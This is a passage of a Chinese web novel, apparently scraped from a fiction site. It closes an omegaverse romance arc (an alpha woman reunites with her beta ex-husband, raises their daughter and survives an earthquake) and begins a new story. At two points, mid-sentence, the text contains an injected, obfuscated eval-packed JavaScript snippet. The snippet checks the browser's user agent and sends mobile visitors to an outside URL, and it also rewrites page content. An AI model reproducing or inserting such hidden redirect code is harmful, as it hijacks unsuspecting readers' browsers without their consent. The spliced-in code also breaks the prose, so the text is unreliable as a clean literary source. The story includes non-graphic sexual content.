爷爷吓得赶紧去扶,但白净秋不肯,只是扬起脸看着他说:“对不起,爷爷,我是个beta,很难给丁家延续香火,但我真的喜欢淼淼,除了她,我谁都不想嫁。爷爷,求您了,爷爷,你是看着我们长大的,没有孩子,以后淼淼就是我的孩子。” “我求您了,可怜可怜我吧,爷爷,我只嫁丁水淼。我会做她的丈夫,他的妈妈,他的爸爸,他的医生和老师.......我会给丁水淼她想要的一切爱。” 后来结婚那天,我才知道白净秋并没有和白老师说这件事,所以晚上家宴提起生孩子,白净秋脸色一白,慌忙去看我,见我垂着头没搭话,便笑着遮掩过去,只说想多过几年二人世界,然后他在桌子下面拉着我的手不停摩挲着安慰。回到婚房之后,白净秋去洗澡,我埋进被子里不想动,直到他带着一身潮湿的水汽拥住我,将我完全拢进怀里的时候,我才难过地哭出来,拱在他凶口抽噎道:“我是个没有用的alpha,你傻了么你嫁给我呜呜呜呜。” “你才傻。”白净秋笑嗔,低头扯开浴袍,赤裸地抱住我:“淼淼,我没有那么喜欢孩子。我也不确定,我生的孩子会不会有你漂亮,会有会有你那么聪明........他/她对我来说是个陌生人,而你才是我最爱的人呀。我疯了吗我不选你?” 我还是难过地哭,但白净秋却强硬地捧着我的脸,两条长腿跨坐在我腰上,皮肤泛着粉色,他擦去我的眼泪,笑吟吟地问:“丁水淼,你确定新婚夜你要一直哭,不来上我吗?” 车厢里一时间很安静,只有暖气呼呼的声音。白净秋撑起身子,想穿衣服手肘却滑了一下,我下意识去扶他,但又被他甩开。男人的脸色依旧平静甚至夹杂着冷漠,自顾自地套上裤子,说:“那是个没良心的人,从来没有看过我和孩子。我怀孕之后,丢了工作,后来孩子早产了,身子也不好,所以看病花光了你给留的钱,最后房子车子也买了。现在孩子身体好了点,我能出来工作但也没有公司愿意要我。实在没有办法,就来这里了,没想到第一次上钟就遇到你........”说到这,白净秋顿了顿,喉咙滚动一番,才抿唇继续冷笑道:“遇到你和你的omega,也算是缘分吧。” “你找的什么人渣啊??嗤。” 我烦躁地踹了一下座椅,没有理会他对武孜的误会,毕竟白净秋都能找别人生孩子了,我也没必要解释太多,倒显得非他不可。 白净秋偏头望着我,好一会也勾唇笑着附和:“是啊,你还不知道我吗?我就是喜欢人渣。” “你朝我发什么脾气?”我没好气地瞪着白净秋,在兜里摸了个遍,才想起来自己已经戒烟很久。但忽而,身旁白净秋却熟练地抽出一根烟咬在嘴里,低头点燃,摇下车窗沉默地抽了起来。 我望着烟雾缭绕中男人疲惫的眉眼,忽然不想再和他计较什么,从包里掏出一张卡递给他:“这里面有十万,你先来应急,找个正经工作,不行就回家找白老师吧。相亲也好,自己碰也好,你得和个正经人结婚。白净秋,你别糟践自己了。” 垂眸看着我手里的卡,白净秋沉默很久,烟灰颤巍巍坠落的一瞬间,他挽起唇角,廉价的唇彩晕开在唇线,竟有些糜烂的艳丽。接过卡放到兜里,白净秋刚说了句谢谢老板。兜里的手机却响起来,他接通后,脸色忽然变得难看,笑意碎在嘴角,一双眼睛登时就红了,无措地凝出泪雾望向我。 他声音发抖,手指扣紧座椅后背,忍着哭腔说:“望江又发烧了,医生说很严重,要我现在立刻去医院。” 44.离婚三年后在夜店遇到杏冷淡beta前夫(三) 这是重逢之后,我第一次见白净秋哭。之前他也哭过很多次,但都是为了我。而如今看着他眼尾的晶莹,我心里说不出什么滋味。但到底没有立场在强求他什么,我干巴巴地安慰他说别哭,然后跨到驾驶座上开车,飞快地把他送去了指定的儿童医院。 一到医院,白净秋就直奔病房,狼狈地跑过去,到门口却站在那收拾了下情绪,擦干净眼泪,又用湿巾擦掉唇蜜和已经脱妆的粉底。一张憔悴清丽的脸努力晕开笑意,他推门进去,余光却悄悄瞟了我一眼。 我太清楚白净秋害怕的时候是什么样子,于是主动跟到病房,见到他的孩子,发现是个苍白瘦弱的小姑娘,眉眼很像白净秋,怯生生地躲在他怀里,只是一双眼睛好奇黏在我脸上。 看不出有我的模样,我面上平静,心里止不住失望,最后一丝隐秘的期待也没了。白净秋竟然真的生了别人的孩子,还当成心肝宝贝一样疼着。 我攥紧手指克制着自己的烦躁,见孩子输上水已经脱离危险,开口想要提离开的时候。病房门又被推开,一个戴眼镜的中年女人走过来,憨厚的脸上挂着不自然的笑。白净秋见她进来,慌乱地瞟了我一眼,然后主动上前接过女人递来的饭盒,低头听着她说:“小白你也别急,医院这边有我看着望江呢。今天就是突然发烧了,不过很快就控制下来了,最近小孩流感都这样,我家那小子皮的像猴一样,还发了几天烧呢。江江输完水就能好了,你别急。” “谢谢你呀,徐姐。”白净秋不自然地侧着身子,余光一直偷看我。而我就坐在床边听他们讲话,眼神平淡,手指却揪紧了床单。 刚想起身打断他们,我的手背却被一只柔软温热的小手摸了一下,扭头见那个小姑娘悄悄凑近了我,将脸贴在我袖子上,她不好意思地腼腆笑:“漂亮姐姐,你的手有点凉,江江给你暖暖。” 我愣住不知道说什么,而白净秋和徐姐都往这边看,那女人还惊奇地说了句:“真奇怪啊,江江遇见陌生人靠近就要哭,今天居然主动给这美女暖手了。” 她憨厚地笑,我甚至都不知道该不该生气了,只能转头抽出手塞进大衣兜里,僵硬地看着失落的小女孩,说:“我不冷,反而是你好好吊水吧,我给你和你爸爸点了些外卖,晚上多吃一点。没事我先走了。” “你要走了?”白净秋慌乱地去抓我的袖子,但瞬间之后又反应过来小孩子还在看着,硬生生将手指攥成拳头,只是艰涩地指了指门外,说:“我送你到楼下今天谢谢你。” 我点头,甚至还朝着那徐姐笑了一下,而准备走的时候,衣摆却被白望江抓住了,她仰着小脸,期待地看着我问:“漂亮姐姐,你给江江点的外卖,有冰淇淋和蛋糕吗?” “江江!”白净秋羞恼地看着那孩子,我眨了眨眼,老实回答:“你在生病,你爸不让你吃这些。我给你点的是一些早茶点心,还有水果。” “那.......”白望江抓着我的衣服,脸贴到我腰侧,可怜巴巴地问:“那以后姐姐可以还来看江江吗?等江江不生病了,姐姐可以带我吃冰淇淋吗?” “我.......”我有些不知所措地望着白净秋,却发现他背过了身子,眼尾湿红。没办法,我硬着头皮答应,在小姑娘的欢呼下,率先逃跑一样离开病房。 白净秋追上来,陪我一起坐电梯的时候,他忽然开口解释:“徐姐是之前和望江一个病房的小朋友的家长,她是医院做护工的,很热心肠,我出去兼职的时候,她就会帮我照顾一下江江。” “哦。”我冷淡地点了下头,目光一直望电梯口跳跃的楼层数,很快到了大厅,开门走出去之前,我扭头想要告诉白净秋不用送了,但却蓦然撞进他泪蒙蒙的眼睛了。 一瞬间我定在了那,电梯门合上我也没有离开,只是无措地抬手捂到他眼上,我想说别哭了,但却被他抱住手臂,白净秋埋进我怀里,单薄的身体剧烈颤抖,眼泪好像决堤的江水,扑簌簌落个不停,打湿了我的围巾。 “丁水淼,你怎么才回来啊丁水淼,我都要死了,我要害怕死了,你才回来呜呜呜呜.......” “我以为、我以为你会像从来一样,生病好了就自己回到我的身边了.......丁水淼,可你怎么不提前告诉我这次你走了就不回来了!!呜呜呜早知道你不回来,我死也不会答应你离婚啊!!你混蛋丁水淼!!” 他哭得膝盖发软,我捞着他的腰抱着男人滑坐到地板上,他整个人死死缠住我,还在嚎啕大哭。 “丁水淼,你信我啊你信我!我今天真的是第一次去那种地方,因为我以为这辈子都见不到你呜呜呜呜,淼淼淼淼,我的心都碎了.......还有,徐姐,我不喜欢她,我没有和她有牵扯,你信我啊,你不要这么冷淡呜呜呜呜,丁水淼,你现在就这么不在意我吗?是不是我现在和谁结婚,对你来说都没关系啊丁水淼!!” “三年,三年啊,丁水淼,我等你等得都不好看了!我本来就没有你好看,现在我就更配不上了你。你身边的那个omega可真漂亮啊,我好讨厌他啊淼淼,为什么他那么好看呜呜呜呜........” 托着白净秋的腰坐在冰凉的地板上,我这一刻忽然想明白了,其实白净秋痛苦的根源是我,十几年前那个系着红格子领结的小男孩答应做我的好朋友的那一刹那,就主动了他往后余生的痛苦。 谁沾上我能有个好结局呢?想到这,我笑了,眼泪一颗颗湮没在白净秋的发丝里。一下一下扶着他颤抖的脊背安抚,我从未如此温柔,温柔地告诉他:“别哭了,白净秋,你现在还有你的孩子,有父母。你本该有很长很好的一生,别为了我........” 手腕猛地刺痛,我甚至没有说完,白净秋抬眼看着我,这是我第一次在他眼里看到如此浓重的怨恨,泪湿的眼睛里泛出艳红,他唇角才沾着我的血,缓缓抿开竟然笑了。白净秋摩挲着我的脸,讥讽地,不知道在笑谁:“疯了这么多年,现在在这装理智??” “丁水淼,”不甘地凝睇着我,白净秋泪眼婆娑地质问:“你为什么不彻底疯掉呢?” 为什么不疯到没人爱你.......那样我就能把你捡回家了,淼淼。 ------------------------------------- 白净秋在医院那样恨我,分开之后我以为他再也不会想见到我。但没想到一星期之后,我却接到他的电话,那段是小女孩甜滋滋的声音,白望江问我:“姐姐,你之前答应带我去吃冰淇淋,今天是周末唉,你不上班吧,可以吗?” 和白净秋离婚之后,我换了所有联系方式,不知道他怎么搞到我的电话号码的。当然我也不在意了,捏着电话思考两秒,嗯了一声,问白望江:“可以,但你跟你爸爸商量过吗?” “爸爸答应过啦!姐姐,你来金城山公园门口接我好吗?爸爸今天要去找工作面试。” 合着是让我当托管阿姨?我真不明白,白净秋怎么就放心,把他为别人生的孩子教给我这个精神不正常的前妻?但我还是答应下来,大人的恩怨没必要牵扯孩子,我是精神病,但我不是人渣。 到金城山公园门口停车,我刚下来就被一个小团子扑了个满怀,白望江抱着我的大腿,而身后白净秋穿着黑色的旧大衣,还是当初离婚时穿的那件,如今他又瘦了,撑不起来,穿着空荡荡的简直要把人给压垮。 我没什么表情朝他点头,心里却想着要给白净秋添一些衣服。小学的时候我会用抢别的小朋友的零食送给白净秋,他让我还回去,然后自己从家里拿水果牛奶喂我。我以为他不喜欢,生气不要离他,而小男生就红着脸去牵我的手,抵着我的额头小声地说:“淼淼,我不想要别人的东西,我只想要你的东西。长大之后等你挣钱了,你就给我买零食和衣服好不好?” 当然是好,我答应了白净秋,但我大学真正创业赚到钱的时候,交给白净秋,他却只会把钱用到我身上,我要给他买金子,给他买奢侈品.......白净秋就耍赖,缠着我亲热,然后掐住不让释放,非要捧着我的脸说:“我喜欢的是淼淼,不是淼淼的钱,我喜欢你的时候,你就只有你自己。现在也一样,淼淼,我喜欢的是你本身,你不用费劲心思再给别的了。” “淼淼,和你在一起,和你这样亲密无间地缠绵,就已经很幸福了。” 白净秋将小姑娘的毛绒书包和水瓶递给我,垂着眼睫并没有看我,他离开前指了指手表,说:“下午四点半,你把江江还送来这里,我在这接她回家。” “嗯。”我没有什么好说的,等到白净秋走到马路对面之后,我就牵着白望江回到了车里。小姑娘坐在副驾驶上东张西望,然后捡起武孜落下的唇釉,问我:“姐姐,这是你男朋友的吗?” “嗯。” “那你男朋友漂亮吗?像你一样漂亮吗?” “嗯。” 我实在没有什么话说,就近搜索到一家海鲜自助,开车带着白望江去吃,结果路上她像是没有察觉到我的冷淡一样,还在不停地说。 “好羡慕你们呀,爸爸以前会摸着我的脸掉眼泪,他总是说我长得不像妈妈。他说我如果像妈妈的话一定会非常漂亮。” “嘁,”我想起那个把白净秋肚子搞大却不负责任的女儿,忍不住冷笑,攥紧方向盘克制地说:“漂亮有个屁.......皮皮鲁用啊?她但凡算个人就应该把你们父女照顾的稳稳当当。” 白望江托着下巴看我,忽然又捂嘴扑哧笑了出来:“姐姐,在医院的时候,我还以为你喜欢爸爸,才送他到医院还给我们点那么多外卖吃。只是你居然有男朋友了,不过这些年也有人喜欢爸爸呢,就像徐姨一样,对爸爸很好。但当然他们没有你漂亮也没有你有钱,而且最重要的是,江江喜欢你,虽然不知道为什么,但就是喜欢。贴到姐姐,我就很高兴。” 我绷着脸没有说话,但心里却一阵发颤,这种莫名其妙的喜欢对我来说,有些难以承受。就像白净秋没有底线的爱与包容,也会让三年前精神崩溃的我觉得窒息。我不理解,这些正常人为什么要喜欢一个神经病?就像武孜说的那样,他们难道都有病吗? 在自助餐厅,白望江吃了两个冰淇淋球,我担心她的身体就没有让她再吃,小姑娘虽然舍不得,但还是乖乖听话,仰脸看着我甜甜地笑。 “你、你乖的不像个小孩。” 我鬼使神差一般摸了下白望江的脸,她立刻抓住我的手抱到怀里,唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14254203|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撇了下,小姑娘落寞地说:“因为爸爸经常哭,我不想惹爸爸生气。” “白净秋,为什么哭?” 和白净秋认识这么多年,作为良好严谨的家风培养出的孩子,他一向情绪稳定到有些冷漠,经常都是我在他面前崩溃痛苦,而白净秋就温柔地搂住我不停地亲吻安慰,他眼里永远蕴着温柔的笑意,仿佛像个被设定好的程序,任何人都不会影响他分毫。 白望江将脸靠在我的臂弯,难过地说:“我记事以来,爸爸就总是哭,爷爷奶奶不和爸爸联系,我们身边一个亲人也没有。钱也全给我拿来看病了,爸爸总是自责没有照顾好我。但他哭得最凶的一次,是楼下的张叔叔说爸爸这种无趣还不好生养的男人,被alpha抛弃也很正常。爸爸第一次和别人打架,没有打赢被揍得满脸都是血。他抱着我想要安慰我,但自己却难过地哭起来,不停地说为什么不要他了,还说很想生下一个像妈妈的孩子,但没生出来,他很没用。” 我攥紧了钢叉,恨不得捅死那个搞大白净秋肚子的alpha,而白望江见我脸色难看,就伸出手摸了摸我的脸安慰:“别生气了,姐姐,最近爸爸没有哭呢,他还开始买衣服和化妆品了,我觉得爸爸越来越好看,心情也越来越好了。” 心情好? 我想到在医院白净秋的崩溃,狐疑地看着小姑娘,有些怀疑她话里的真实性了。 吃完饭又去儿童乐园玩了一会,到金城山公园门口时,白净秋还没有到,我就给白望江买了个气球,她自己玩了半个小时之后,满脸倦容的白净秋来慌张地朝这跑过来。 白望江扑到他怀里,白净秋强扯出笑意抱起女儿,目光略到我脸上,唇瓣动了动似乎想说什么,我掏出车钥匙,主动开口:“上车吧,我送你们回家。” 白净秋这次住的是一个旧家属楼,车停在昏暗的车库里,我呼吸有些发烫,脑子也昏昏沉沉的,打开车门,闷得说不出话,只是指了指外面,让他们下车。 “江江你先回三楼顾奶奶家里去,我在这和漂亮阿姨有些话要说。” 白净秋刚将女儿支走,我整个人就撑不住直接趴在了方向盘上。他抬手熟捻地摸了摸我的额头,烫得缩了一下,而后更加用力地捧住我的脸,凑近吻了上来。 “你干什么?疯了?”我有气无力地捏住他的下巴,双眼赤红,训斥着他。但白净秋却更加得寸进尺地揽住我的脖子,微凉的脸颊蹭着我,仍旧温柔的笑,眼里却露出哀求与酸涩:“现在没有抑制剂,而且不会有人比我更会安抚你的易感期了,丁水淼,你不能这样上路。所以现在,淼淼.......” 他再一次叫着这两个字,眼尾坠下一串泪珠,低头颤巍巍地吻上来:“你只能上我了。求你,把我当成别人都行,你亲亲我吧,淼淼,我想你。” 我几乎听见了自己心碎的声音,想不通为什么会让白净秋爱的这么痛苦。耳边又响起嗡鸣,随后陷入巨大的寂静当中,我听不见声音,只是扣住白净秋的腰,像从前每一次那样,紧密地纠缠。 他在我耳边喊着什么,迷离的眼睛里水汽淋漓,我听不见,仍旧固执己见地埋入他的柔软与潮湿。白净秋红着眼掉了一滴泪,而后扬起长颈任我亲吻。白净秋抱紧了我,每一次。 解决完稍微冷静了一点,白净秋穿好衣服,对着镜子摸了摸脖子上青紫的痕迹,有些羞恼地瞪了我一眼,而后抽出纸巾擦了擦座椅上的水渍。 “我得回去了,江江晚上见不到我,指定要哭。” 我将脸埋在胳膊里没有说话,白净秋打开车门之后合上,强硬地捧住我的脸,他眼神柔软,吻了吻我说:“别生气,淼淼,要不你在这等着,我上楼把江江哄睡之后,就下来继续找你,跟着你回家都行。” 可是她是你和别人生的孩子.......现在她已经是你心里的第一位了,那从前本来是我的位置。 没法告诉白净秋,我居然在吃一个小朋友的醋。大概我这种精神病真的无药可救了。推开白净秋,我打开车窗让冷空气灌进来,然后假装平静得像个正常人一样,对白净秋说:“你去我公司就职吧。我会安排人事和你联系。现在生过孩子的单亲爸爸很难由公司愿意要。不要觉得是走后门。我了解你能力很强。放心,我会提前和人事沟通好的。” “这是什么?” 白净秋愣了好一会,似乎听不懂我的话了,眼里的笑意碎成一片涟漪,忽而自嘲地挽起笑,问我:“丁水淼,你是不是觉得,我为了你的钱,在这给你做鸭呢?” “我没有那个意.......” “那你是什么意思!我问你你是什么意思!说了,我上去一会就下来找你了!从你刚分化开始!我被你翻来覆去睡了多少次你数过吗?丁水淼,王八蛋你现在开始给我算钱了!!” 他吼了起来,苍白的脸颊才残留着情欲里的绯红,像一株开败的病梅。白净秋扣住我的手腕,浑身战栗着,笑起来时,眼尾一样,掉落一串泪珠。 “好,好,丁总,是我犯贱,我忘了你还你的OMEGA,你压根就不需要我了。谢谢您给我的工作。”他自嘲地笑着,却又在我耳畔落下一吻:“丁总,您出手这么大方,下次有需要,记得还给我打电话呀。” 45.离婚三年后在夜店遇到杏冷淡beta前夫(完) 白净秋的状态实在太糟了。 我觉得我应该和他谈谈,但回家刚打完抑制剂,就接到武孜的电话,武致芳突然让他回S市,他害怕想要我陪他一起回去。正好总公司最近也有些合同需要处理,我想了想,就订了最近的航班,接上武孜一起回了S市。 大概也是逃避心理,我没办法直面一个陌生的憔悴而痛苦的白净秋。如果有可能,我宁愿梦里的一切都是真的,他嫁给一个老师或者公务员,生个孩子,遵循着白老师的人生轨迹,平凡而幸福地度过一生。 刚回去武致芳就人把武孜给看管了起来,武孜闹过几次自杀,武致芳没办法只能同意每天让我去别墅陪他两个小时。听武致芳的意思,应该是想用武孜这张脸去商业联姻。我倒没什么意见,只不过有些可怜这个女人的天真。 送武孜去联姻,不知道是结亲还是结仇呢。 人事那边反馈给了我白净秋的入职情况,一切适应都很良好,我知道他的工作能力,所以也不意外,只是接到白净秋的电话时,还是有些恍惚,他忍着哭腔问我:“为什么你又躲到总部去了?丁水淼,你是在躲我吗?你这么讨厌我?” “武孜.......” 一瞬间头脑发闷,也没有思考太多,我如实回答,但对面刚听到武孜两个字,就猛地把电话给挂断了。怔怔地望着通话界面,我想知道,白净秋是不是难过了? 是不敢面对我身边出现别人吗? 武孜跟他妈还在胶着,而老家那边,爷爷又打来电话,说白老师来S市检查身体,让我帮忙安排住宿和医生。他老人家吩咐的,我当然只能照办,更何况那还是白净秋的家长,虽然之前一直看不上我,但到底白老师还是个好人,我分的清楚的。 在机场接到白老师,他也老了很多,头发几乎全白了,在出口站看到我的时候,镜片后面的眼睛顿时燃起愤怒,我笑着跟他打招呼,但还没说一个字,他就将书包砸到了我身上。 “丁水淼!我之前只觉得你因为家庭原因,缺爱敏感,性情不好,但终归是个本性善良的好孩子。白净秋一颗心非要砸在你身上,我和他妈妈虽有提醒,但从来也没有强烈制止过,因为我们相信你会负责的。可是丁水淼........”白老师说着,眼睛泛红,竟然哽咽一下,声音颤抖地指着我质问:“白净秋怀孕的时候,你和他离婚,白净秋一个人养胎生产的时候,你换了所有联系方式人间消失。你知不知道,他刚生产完,就托着身子一遍遍去跑警察局报警,可那时候他虚弱又憔悴,警察局的人只能他当做被抛弃的疯子,没有人理会,他就每天守在警察局求他们立案。后来孩子早产身体不好,白净秋只能先顾着孩子,带着她到处跑医院,但一有空还是回去警察局,后来有个实习警察受不了帮他查了查,发现你买了车票在西北地带。白净秋这才放下心,但刚走出警局,他就抱着孩子哭得站不起身。白净秋一遍遍说他不好,他没有照顾好你。我让白净秋把孩子的事情告诉你,他却拼着断绝关系也不肯,不要我们打扰你的生活。” “我........” 一瞬间接受这么多消息,我呆滞地站在那,甚至屏住了呼吸,尖锐的刺痛从心头开始蔓延,一瞬间我喉咙像扎了一千根针,吞咽时带着血气,唇瓣张合,眼前一帧帧闪过白净秋三年前温柔平静的样子和如今的憔悴与疯狂。我说不出话,眼泪却扑簌簌不停地掉落,痛苦地揪住心口,我蜷起身子煎熬到撑不起来脊背。 “我不知道.......我、我以为,以为你们会给白净秋找一个适合的人结婚,我以为我不能让他怀孕的,我.......” “哼,”白老师冷笑,眼里也掠过些许不忍:“白净秋那个样子,能为了你和我们决裂,穷到去要饭都不肯答应回家相亲。你觉得他会再婚吗?丁水淼,你一直很聪明,学习即使不那么努力,依旧考得比白净秋好很多。做生意也是,你总是能挣钱。但偏偏,在感情上,丁水淼,你就是个白痴!!!我从来没有见过你这么愚钝的人。怀孕几率底不代表不能怀孕,更何况白净秋背着你吃了多少药看了多少医生,你当真一点都不知道吗?” “聪明、漂亮、缺爱、敏感,丁水淼,这些都不是你践踏一个人真心的理由。你只是仗着他爱你,你觉得你凭什么能随便消失又随便出去?其实丁水淼,在你心里,你一清二楚,只要你红了眼,白净秋就没有了任何底线。” 白老师是个体面的人,将挤压的委屈和愤怒倾泄完之后,他就没有再理会我。而我狼狈地蹲在路边缓了很久,撑着身子站起来,打电话让助理安排白老师去宾馆。自己则订了最早的飞机回H市。 我欠白净秋的,欠他一个当面的道歉,还有表白。 从年少时起,我对白净秋说过很多次想和他在一起,但因为太熟悉彼此,我细细算起来,竟然忘了告诉他——我想和你在一起,因为这个世界上我只爱你。 在机场外候机的时候,我给白净秋打电话,第一遍他没有接,我就继续打,我欠了他数不尽的耐心,这次也一并还给他。 第二遍响了很久,就在我以为他不会接的时候,忽然感受到一阵剧烈的晃动,手机摔到在路边,我看到周围的车流和行人都陷入慌乱,刺耳的警报声拉响,我甚至没有来得及捡起手机,惊恐的人群裹挟我往前跑。 “地震了!!!快跑!快跑啊啊啊——” 我大约是陷入了很长的昏迷。在梦里过了很久,在梦里我回到了H市,我告诉白净秋我什么都知道了,他笑着哭了,没有原谅我。这个结果让我心里一轻,浑身的愧疚感都落到了实处。我告诉他不原谅我是对的,我不值得。 梦里我把所有的积蓄都给了白净秋,我这个人很俗气,拥有的不多,从前最珍贵的所有物是他的爱,现在没了,我就成了穷光蛋。 梦里我看着他听白老师的话嫁给了一个好人,他们站在灯光下接受所有人的祝福。白净秋笑着说愿意,牵住别人的手。我站在台下竟然也感到一阵开心,然后心里却响起一道声音在说:死掉吧,埋在地震的废墟,面目全非地离开,也算是符合丁水淼短短一生的烂尾主题。 可是,我的心愿好像从没有实现过,我还是醒了,在临时搭建的医疗帐篷里,刺眼的阳光照进眼睛里,泪水瞬间模糊了我的视线。巨大的未知与茫然当中,我抬起手想要牵住什么,而后抓住一团空气,落下的瞬间,又被粗糙的手掌攥住。 白净秋沙哑撕裂的声音响起,像是许久没有说话,他吐出每个字又要停顿一下,到最后崩溃绝望地趴在我身上哭了出来。 “你、杀、了、我、吧.......丁水淼,你别折磨我了,我求你了,我本来都接受你爱上别人了。我以为不被你爱着已经是最可怕的事情了。但........” 声音低下去,他粗糙而沾满血迹的手指颤巍巍地捧住我的脸,声音隐隐疯狂,白净秋惊惧地噙满了眼泪,轻声像怕被惊扰了美梦,说:“可我发现,丁水淼,我更不能接受的是这个世界上没有你。” “你现在说不出话是不是?”他喝了口温水吻住我,给我舔湿了唇瓣,然后贴着我的脸笑着说:“那你就听听我说话吧,丁水淼,我知道我喜欢你喜欢到没有底线,这不是因为我贱,淼淼,你不知道你是我这个不起眼的普通人,从小到大唯一能接触到的太阳。不知道你能想象那种感觉吗?平静如死水的湖面被破开一道光,所有人都不在意的我,被耀眼的光缠绕拥抱。” “你其实没有什么对不起我的,丁水淼,你从来没有强求过我为你做什么。我爱你是出于我自由的意志,所有人的觉得我是一个平庸的人,但我对你的爱,确实不可否认的炙热与盛大。淼淼,我爱你,你不要死。” 如果这世界上没有丁水淼,那我就真的要陷入永远的长夜了。 那天白净秋抱着不能说话的我,一直睡了很久。第二天醒来的时候,就见他通红的眼睛,放缓呼吸小心翼翼地拨弄着我的眼睫毛。见我醒了,他才平静地缩回手,低头吻了我一起,起身去找医生。 我还算幸运,没有受到特别重的伤,之前昏迷是因为身体素质差加上各种心理原因,不愿意醒过来。白净秋听到这里痴痴地看了我一眼,不知道在想什么,直到医生离开,他才后知后觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14254204|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地追出去问具体护理事项。 他一离开,帐篷里跟来的救援人员就一边记录一边扒着我时候:“你丈夫是真疯啊,赶来找你,直接上手就是挖废墟,好几个alpha上去拉都不拉不开。直到把你救出来,他才冷静下来能说几句话。但你不醒的时候,他也是不吃不喝,跟块木头一样坐在你床边守着。好几次医生被他拉进来说你醒了,但你压根就没动静,是他太伤心出现了幻觉,所以后面他再喊医生,都没几个人理他了。但没想到这次你真的醒了,害,他也算能吃的进去了。说真的,你要死在这了,他也得折进去。” 救援人员看到白净秋进来就主动离开了,我朝他笑了笑,白净秋却面色不好,坐在我床边将我的脸挡住,用温毛巾一点点擦拭的时候,没忍住说:“我刚出去一会你就和别人聊得这么好,淼淼,我就应该用毛巾把你的脸给围住。” 我哭笑不得,示意要喝水,他还是故意用嘴喂给我,但这次白净秋刚要离开,我却扣着他的后颈,将人抱进怀里。 “你干什么,淼淼,你身上还受.......” “白.......净......秋.......”声音沙哑,我说的每个字都很艰难,像刀片滑过喉咙,但我却第一次畅意地笑出声,腥甜的血味溢满口腔,我在他眉心落下惨烈的亲吻。 大难不死,我来补上对他的告白:“这世上那么多人,我只爱你。” “白净秋,我不想死了,我想爱你。” ------------------------------------- 身体修养好了之后,我和白老师还有白净秋一起回了老家一趟,爷爷正抱着白望江爬树,小姑娘一看见我们,就欢闹着跑过来往我怀里扑。 但我刚弯腰准备接住他,白净秋就揪住女儿的衣领,拉开她蹙眉道:“妈妈身上还有伤呢,不要闹她,她会疼的。” “妈妈.......”白望江甜甜地叫着,忽然眼睛红起来,又抱着白净秋的腰小声羞涩地说:“妈妈,江江的妈妈真好,比幼儿园其他小朋友的妈妈都好。” “我.......”我说不出话来,想到分开这三年,我甚至不知道怎么弥补起来,但白净秋却笑了,挽住我的手臂,眼睛里神采奕奕,他整个人像是被光拢住,鲜活明亮的让人移不开眼。 “那当然了,淼淼一直都是最好的。” 晚上白净秋和我一起在房顶上睡觉,小时候老街的楼层不高,我夏天热的睡不着,就会爬到房顶,摊开一张席子抱着枕头,自己看着星星一会就睡着了。 后来白净秋会来陪我,只不过是要在白老师睡着之后偷偷跑出来,早上天不亮在跑回去。现在好了,我们终于能光明正大地一起抱着在房顶看着星星睡觉。 他搂得我有些喘不过气,最近他经常这样,我知道是白净秋害怕,即使解释了我和武孜的关系,甚至当着他的面,我和武孜也好好道别了。武孜还是疯疯癫癫的,却有些羡慕地看着抱着我手臂的白净秋,说:“你从哪里找的傻子啊?我怎么就找不到呢!” 我踹了他一脚让他滚,但白净秋还是不高兴,掏出湿巾把武孜碰过我的地方都擦了一遍。我摁住他的手抱着亲,白净秋这才能稍微得到一点安全感,顺从地搂住我的脖子,羞恼地推攘着说:“还有伤呢,不能、不能再继续了.......” 今夜的星空明澈,白净秋抱着我裹进毯子里,他的怀里都是熟悉的青橘香气。 我看着他明亮璀璨的眼睛,忽然不理解为什么会有人说白净秋普通呢? 他明明岗站在那,就耀眼得让我忍不住掉眼泪了。 “怎么又哭了?淼淼,我爱你呀。不要哭,我来爱你。” “我在想,白净秋,原本我是不想要下辈子的,但现在......” “现在怎么了?”白净秋的眼泪也掉到我手心,我们两个哭着给对方擦眼泪,擦不干净就又泪眼婆娑地相视一笑。 我吻住他,承诺:“现在我想,下辈子换你做耀眼的光,白净秋,我来追你。” ——完—— 46.在古早虐文里女扮男装当狗腿子后(一) 通透圆滑爱耍小聪明恶毒狗腿子女主×病弱阴郁黑莲花恋爱脑世子 李小环×裴颂简 李小环她娘李则青是穿越人士,打小就教育她,兢兢业业做狗,老老实实做人。所以九岁时,她娘抓住机会,把李小环打扮成男孩塞到亲王府,给病秧子世子做贴身小厮。世子裴颂简身娇体弱不良于行,李小环上蹿下跳鸡飞蛋打,王妃不甚满意这个皮猴,准备换个安静守礼小厮之时。忽然地,她却看到李小环鼻青脸肿背着两颊桃粉的儿子,阿简捏着衣袖给她擦汗,她喋喋不休地计划下次打架报复回来。病弱的世子没有附和,却偷偷笑弯了一双凤眼。 于是李小环一连给世子当了八年狗腿子,在京城兴风作雨可谓一霸,但偏裴颂简护短,众人拿她也没有办法。后邻国来使,公主一眼瞧上清冷矜贵的小世子,可裴颂简回眸瞧了瞧躲在人群里的小环,招招手,她弓背殷勤走过来,却被世子攥住手,垂眸摩挲她的手心,裴颂简平静道:“叩谢公主厚爱,可我与小环已有床笫之欢,而且......”抬眼望向吓成石塑的李小环,世子勾唇轻笑,泪痣撩人:“而且我为下,小环为上。” 